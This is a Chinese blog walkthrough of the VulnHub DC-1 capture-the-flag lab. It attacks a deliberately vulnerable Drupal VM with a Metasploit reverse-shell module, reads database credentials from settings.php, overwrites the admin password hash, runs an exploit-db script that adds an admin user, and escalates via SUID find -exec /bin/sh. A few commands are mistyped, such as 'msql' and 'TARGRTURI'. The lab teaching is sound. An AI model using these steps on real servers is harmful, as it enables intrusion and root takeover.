• 内网靶场之Drupal(Vulhub-DC-1靶场)详细攻击过程


    内网靶场之Drupal(Vulhub-DC-1靶场)详细攻击过程

    Drupal:

    Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。

    注入原理:

    Drupal Sql注入漏洞原理是酱紫的,Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。

    详细原理:https://www.freebuf.com/vuls/47690.html

    漏洞环境:

    靶场地址:https://www.vulnhub.com/entry/dc-1-1,292/

    下载地址:https://download.vulnhub.com/dc/DC-1.zip

    任务描述:包含5个Flag,初级难度,最终目标是在root主目录中找到并读取该标志

    攻击机 kali :192.168.0.199

    靶机:192.168.0.183

    ​ (访问靶场80端口是cms框架的登录页面)

    漏洞利用:
    Drupal 开源内容管理框架注入漏洞,反弹shell:

    ​ 首先弱口令登录,扫端口、扫后台都没什么较大的收获。于是将目标盯在了Drupal这个cms框架上面了,发现这个cms有一个注入getshell的漏洞(CVE-2018-7600),并且metasploit中已有攻击模块,可以直接利用。

    1. 打开msf,查找drupal武器库

      msfconsole
      search drupal
      

      这里可以根据需求选择,我选择比较新的2018年的攻击模块

    2. 利用攻击模块,需要设置3个参数,rhost、lhost、和TARGETURI。

      set rhost 192.168.0.183
      set lhost 192.168.0.199
      set TARGRTURI drupal
      

    3. run攻击即可,将反弹命令行控制台meterpreter,输入shell就可以执行命令了

    初级内网渗透-flag1:

    ​ 首先虽然shell已经进入,但它并不是交互的shell,所以我们要进入交互式的shell。而且他的权限是www-data权限,权限较低很多命令不能执行

    1. 使用python反弹一个交互式shell TTY。

      python -c 'import pty;pty.spawn("/bin/bash")'
      

    2. 查看当前目录,看有无可以利用的信息文件,其他目录信息如下。发现了第一个flag1文件,查看flag1文件。

      ls
      cat flag1.txt
      

      Every good CMS needs a config file - and so do you.
      每个好的CMS都需要一个配置文件——你也一样。
      
    敏感信息分析获取flag2:

    ​ 通过flag1的提示,告知我们cms的配置文件很重要,暗藏敏感文件。所以我们需要查看目录下的其他文件来获取信息。

    1. 首先我们百度搜索drupal有哪些重要的配置文件及重要文件的默认路径 ,挑选重点下手能节省时间。

    2. drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。我们去查看这个文件看有无收获。

      cd /sites/default/
      ls
      cat settings.php
      

      我们发现了flag2内容,以及数据库的账户和密码

      * flag2
       * Brute force and dictionary attacks aren't the
       * only ways to gain access (and you WILL need access).
       * What can you do with these credentials?
       (flag2
      爆破攻击和字典攻击不是
      获得访问权限的唯一方法(您将需要访问权限)。
      你能用这些证书做什么?)
      
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
      
    数据库相关信息获取

    ​ 首先我们通过flag2得到了数据库为mysql数据库,并且数据库名、账号和密码都有了,肯定是要进入数据库看有无所需信息的。如系统管理员账户信息

    1. 登录数据库

      msql -u dbuser -p
      username => dbuser
      password => R0ck3t
      database => drupaldb
      

    2. 数据库基本操作,查看数据库内容

      show database;
      use drupaldb;
      show tables;
      

      发现用户表为users,注意Drupal框架默认的用户表就是users表。

    3. 查询users表中,系统管理员admin的账户信息

      select * from users;
      select name,pass from users;
      

      发现admin账号和经过加密的密码,drupal常用密码加密是MD5格式,但是7.0以后因为安全性问题将加密方式改成了hash加密(由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。)。

      这里不是md5加密,应该是自定义的加密方式。flag2中给的提示暴力破解不是唯一的方法我们得想一下其他的办法。

    数据库admin管理员密码修改及获取flag3

    ​ 我们想办法的同时也可以百度向开发人员询问答案,查找drupal7忘记密码怎么办?drupal7如何重置密码?drupal7如何修改密码?这些问题让我们拿到admin这个管理员账户。

    1. drupal7重置admin用户的密码

      exit
      $ls
      $php ./scripts/password-hash.sh 123456
      mysql -h localhost -u dbuser -p
      Enter password:R0ck3t
      use drupaldb;
      update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';
      
    2. 登录成功

    更隐蔽方式,添加新管理员账户获取flag3

    exploit-db(漏洞利用库):

    kali中已经内置,默认路径为:/pentest/exploits/exploitdb。可以使用searchsploit命令来搜索exp进行利用。

    在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,第二种方法是通过该过程新增admin密码。

    1. 查看Drupal版本,确定Drupal版本为7.24

      cat /var/www/includes/bootstrap.inc | grep VERSION
      

    2. 使用searchsploit查找可利用漏洞。选择添加管理员功能的攻击脚本适用于7.0-7.31范围(每个脚本括号后面有功能描述,我这里遮住了),符合7.24版本。

      searchsploit drupal
      

    3. 利用drupal7.0版本漏洞增加有admin权限的用户

      python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.208 -u hkb -p hkb
      
      后面靶机出了点问题,靶机ip换成了192.168.0.208
      

      新增的管理员用户如下

    4. 使用新添加的用户hkb登录网站,在content模块下找到flag3。

      Congratulations!
      Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
      
      恭喜你!
      特殊的PERMS可以帮助找到密码-但您需要-exec该命令,以确定如何获取在shadow文件中的内容
      
      很明显的提示:find+perms+exec 命令用来提权
      
    根据用户信息获取flag4

    ​ 根据flag3的提示提权,我们尝试查看用户列表信息(包含用户权限信息),这些用户信息一般存储在/etc/passwd目录下。

    1. 查看用户列表,获取信息

      cat /etc/passwd
      

      注意,/etc/passwd包含系统所有账户信息,只有超级用户才有写和访问。该文件每个用户占一行用,分隔成七个字段。如下图所示:

      发现了flag4这个用户,并且得到了flag4的主目录为home目录。我们切换到home目录寻找flag4相关文件

    2. 切换到home目录寻找flag4相关文件,并尝试查看。

      cd /home/flag4
      cat flag4.txt
      

      flag4提示内容:
      提示最后flag in root下面。
      

    其实也可以直接用find命令查找flag4这个关键字,也能爆出flag4文件的路径。主要看个人思路

    find / -name "flag4
    cd /home/flag4
    cat flag4.txt
    
    提权+获得最终flag

    ​ 根据flag4的提示信息,最后一个flag存在于root目录下。我们可以使用find命令查找root目录下相关文件信息。

    1. 使用find命令查看与/root目录有关的文件信息

      find /root
      
      find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。
      
      find(选项)(参数)
      -exec<执行指令>:假设find指令的回传值为True,就执行该指令
      -perm<权限数值>:查找符合指定的权限数值的文件或目录
      

      发现flag文件存在于/root目录下,尝试打开它

      发现没有权限,所以必须要提权才能查看最终的flag文件

    2. 根据flag3中的提示,使用“-exec”提权,也就是find+perms+exec 命令来提权。这里有两种方法可以用,看个人想法。详细关于find提权会在另一篇文章中详解

      1. find ./ acce -exec '/bin/sh' ;
      
      2. touch bcce
      find bcce -exec '/bin/sh' ;
      

    3. 再次尝试打开/root目录下的flag文件

      cd /root
      ls
      cat thefinalflag.txt
      

      成功访问最后一个flag文件,游戏结束了。

    总结:

    ​ 本次初级内网渗透靶场虽然初级,但也涉及了大量的知识点。

    1. 使用python反弹一个交互式shell
    2. 配置文件十分重要,重要的配置文件可以搜索相关系统或者框架的默认路径,能在较短时间内获取有用信息。如: drupal的/sites/default/settings.php ,是数据库连接配置文件
    3. exploit-db(漏洞利用库)真的很强大,里面很多攻击脚本。不知道为什么以前很少用,现在要加强对他的了解了。他就是metspoit的兄弟
    4. /etc/passwd:linux默认存储用户列表的文件
    5. linux suid提权相关知识,在后面的文章中再详细了解。
    参考文章:

    https://my.oschina.net/u/4257499/blog/3230676

    https://blog.csdn.net/szlg510027010/article/details/106541167/

  • 相关阅读:
    编程总结2
    编程总结3
    《秋季学期学习总结》
    《人生路上对我影响最大的三位老师》
    第八周编程总结
    第七周编程总结
    第六周编程总结
    第五周作业
    第四周编程总结
    第三周编程总结
  • 原文地址:https://www.cnblogs.com/kbhome/p/13296397.html
Copyright © 2020-2023  润新知